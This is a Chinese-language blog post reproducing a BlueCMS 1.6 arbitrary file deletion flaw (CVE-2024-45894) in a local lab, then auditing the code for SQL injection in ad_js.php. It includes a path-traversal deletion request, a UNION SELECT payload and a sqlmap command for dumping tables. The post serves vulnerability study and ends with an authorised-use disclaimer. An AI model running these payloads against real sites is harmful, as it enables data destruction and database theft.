BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894
BlueCMS 1.6任意删除文件漏洞复现CVE-2024-45894
BlueCMS 1.6 安装包下载:
http://www.xsssql.com/wp-content/uploads/2024/10/bluecms-master1.6.zip
环境搭建:
下载phpstudy,启动nignx和mysql服务
随后创建网站,在浏览器直接访问
http://127.0.0.1/install
直接下一步
安装完成后如图:
访问管理后台,并登录到管理后台
http://127.0.0.1/admin/
通过删除robots.txt文件进行测试
poc如下
GET /admin/database.php?act=del&file_name=../../robots.txt HTTP/1.1
Host: 10.10.10.5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.10.5/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6inaqq37c2kes34gfthojnbcl7
Connection: close
直接在浏览器访问/admin/database.php?act=del&file_name=../../robots.txt 地址即可进行任意文件删除
以上漏洞属于CVE-2024-45894
接下来我们使用seay新建项目,使用Seay进行自动审计,但这个分析只是单一的静态分析里面的代码和函数可能出现的漏洞
查看ad_js.php文件
ad_js.php中有变量$ad_id,这种情况就可以优先看,因此此时变量直接拼接在where列名(ad_id)之后。在注入时,大部分的注入语句都是在while后面的一个变量,通过跟踪那个变量值来注入。像上面的变量写在order by后面的就不一定能注入成功
如果$_GET['ad_id']存在且非空,则使用trim()函数去除ad_id字符串两侧的空白字符,然后将结果赋值给$ ad_id。 如果$_GET['ad_id']不存在或为空,则$ ad_id被赋值为空字符串''。
getone不是php的官方函数,那就是自定义函数,其功能应该是执行后面的SQL语句并将其值赋值给$ad,疑似有sql注入
通过查找文件发现getone方法在/include/mysql.class.php里面,查看函数声明
函数并没有过滤数据也没有进行参数化查看
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
在浏览器访问测试
此处为了方便查看可以把sql语句打印输出
构造sql语句进行测试
http://10.10.10.5/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
但是并没有结果回显。因为在getone函数执行sql语句之后并没有将结果进行输出,所以此类注入点一般采用延迟注入或者是报错注入(无回显)
使用sqlmap进行注入:
通过sqlmay注入获取表名:
sqlmap -u "http://10.10.10.5/ad_js.php?ad_id=0" -D testsce --tables
技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
共有 0 条评论